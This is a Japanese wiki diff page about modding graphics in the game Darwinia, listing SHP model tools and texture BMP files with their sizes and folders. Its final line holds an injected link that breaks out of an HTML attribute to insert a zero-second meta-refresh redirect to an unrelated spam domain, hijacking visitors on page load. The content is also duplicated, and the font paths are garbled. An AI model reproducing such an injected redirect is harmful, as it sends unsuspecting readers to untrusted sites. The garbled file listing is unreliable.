「グラフィック」(2007/12/09 (日) 22:21:53) の最新版変更点
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*3Dオブジェクト
ゲームで使用できるのは.SHP形式。[[公式サイト>http://www.darwinia.co.uk/community/modding.html]]に3d Studio Max5向けの3Dファイル及び、エクスポートプラグインがある。
.SHP形式の説明や、ASE形式からの変換スクリプトは[[Nihils Darwinia Modding Pages>http://www.nihilesthetics.info/DarwiniaModding/ModdingDarwinia.htm]]を参照
テクスチャ画像ではなく、頂点カラーを使って色を指定している。
メタセコイアのmqo形式からASE形式に変換する[[MQO Reader>http://squeak.qp.land.to/index.php?MQO%20Reader]]と、上のASE形式からの変換スクリプトを組み合わせれば3d Studio Max無しでもなんとかできるかも?(スケーリング、オブジェクトマーキングなどの問題は残るが…)
SHPファイルをメタセコイア形式に変換する試作ツール:[[SHP2MQO>http://www8.atwiki.jp/darwinian/?cmd=upload&act=open&pageid=30&file=SHP2MQO.zip]]
.Net Frameworkのインストールが必要。
*地形テクスチャ
data\terrainフォルダに地形用テクスチャが置かれている。
**陸地
64x64のBMP画像(24bit)一枚を32x32の4枚の部分(地形の高低、平地か斜面)に分けて割り当て。
左上:低、平地
右上:低、斜面
左下:高、平地
右下:高、斜面
-landscape_containment.bmp
-landscape_default.bmp
-landscape_desert.bmp
-landscape_earth.bmp
-landscape_icecaps.bmp
-landscape_launchpad.bmp
-landscape_mine2.bmp
-landscape_mine.bmp
**海
水面:128x128BMP(8bit)
-water_default.bmp
-water_icecaps.bmp
-water_launchpad.bmp
波のグラデーション:400x10BMP(24bit)
-waves_containmentfield.bmp
-waves_default.bmp
-waves_desert.bmp
-waves_earth.bmp
-waves_generator.bmp
-waves_icecaps.bmp
-waves_launchpad.bmp
*博士の顔
main.dat内
-data\sepulveda\sepulveda1.bmp
-data\sepulveda\sepulveda2.bmp
-data\sepulveda\sepulveda3.bmp
-data\sepulveda\sepulveda4.bmp
-data\sepulveda\sepulveda5.bmp
256x256、8bit(256色)のbmp画像。
*アイコン画像
data\icons
プログラム選択アイコン、ジェスチャ表示、カーソル
*スプライト
data\sprites
Darwinian、卵、サンタ帽、viriiの三角
*フォント
language.dat内
-data\textures\editor_font_[normal/言語名].bmp
-data\-リスト
textur-リスト
es\speccy_font_[normal/言語名].bmp
*その他テクスチャ
data\textures
レーザー、パーティクル、雲、光など
*3Dオブジェクト
ゲームで使用できるのは.SHP形式。[[公式サイト>http://www.darwinia.co.uk/community/modding.html]]に3d Studio Max5向けの3Dファイル及び、エクスポートプラグインがある。
.SHP形式の説明や、ASE形式からの変換スクリプトは[[Nihils Darwinia Modding Pages>http://www.nihilesthetics.info/DarwiniaModding/ModdingDarwinia.htm]]を参照
テクスチャ画像ではなく、頂点カラーを使って色を指定している。
メタセコイアのmqo形式からASE形式に変換する[[MQO Reader>http://squeak.qp.land.to/index.php?MQO%20Reader]]と、上のASE形式からの変換スクリプトを組み合わせれば3d Studio Max無しでもなんとかできるかも?(スケーリング、オブジェクトマーキングなどの問題は残るが…)
SHPファイルをメタセコイア形式に変換する試作ツール:[[SHP2MQO>http://www8.atwiki.jp/darwinian/?cmd=upload&act=open&pageid=30&file=SHP2MQO.zip]]
.Net Frameworkのインストールが必要。
*地形テクスチャ
data\terrainフォルダに地形用テクスチャが置かれている。
**陸地
64x64のBMP画像(24bit)一枚を32x32の4枚の部分(地形の高低、平地か斜面)に分けて割り当て。
左上:低、平地
右上:低、斜面
左下:高、平地
右下:高、斜面
-landscape_containment.bmp
-landscape_default.bmp
-landscape_desert.bmp
-landscape_earth.bmp
-landscape_icecaps.bmp
-landscape_launchpad.bmp
-landscape_mine2.bmp
-landscape_mine.bmp
**海
水面:128x128BMP(8bit)
-water_default.bmp
-water_icecaps.bmp
-water_launchpad.bmp
波のグラデーション:400x10BMP(24bit)
-waves_containmentfield.bmp
-waves_default.bmp
-waves_desert.bmp
-waves_earth.bmp
-waves_generator.bmp
-waves_icecaps.bmp
-waves_launchpad.bmp
*博士の顔
main.dat内
-data\sepulveda\sepulveda1.bmp
-data\sepulveda\sepulveda2.bmp
-data\sepulveda\sepulveda3.bmp
-data\sepulveda\sepulveda4.bmp
-data\sepulveda\sepulveda5.bmp
256x256、8bit(256色)のbmp画像。
*アイコン画像
data\icons
プログラム選択アイコン、ジェスチャ表示、カーソル
*スプライト
data\sprites
Darwinian、卵、サンタ帽、viriiの三角
*フォント
language.dat内
-data\textures\editor_font_[normal/言語名].bmp
-data\-リスト
textur-リスト
es\speccy_font_[normal/言語名].bmp
*その他テクスチャ
data\textures
レーザー、パーティクル、雲、光など[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]
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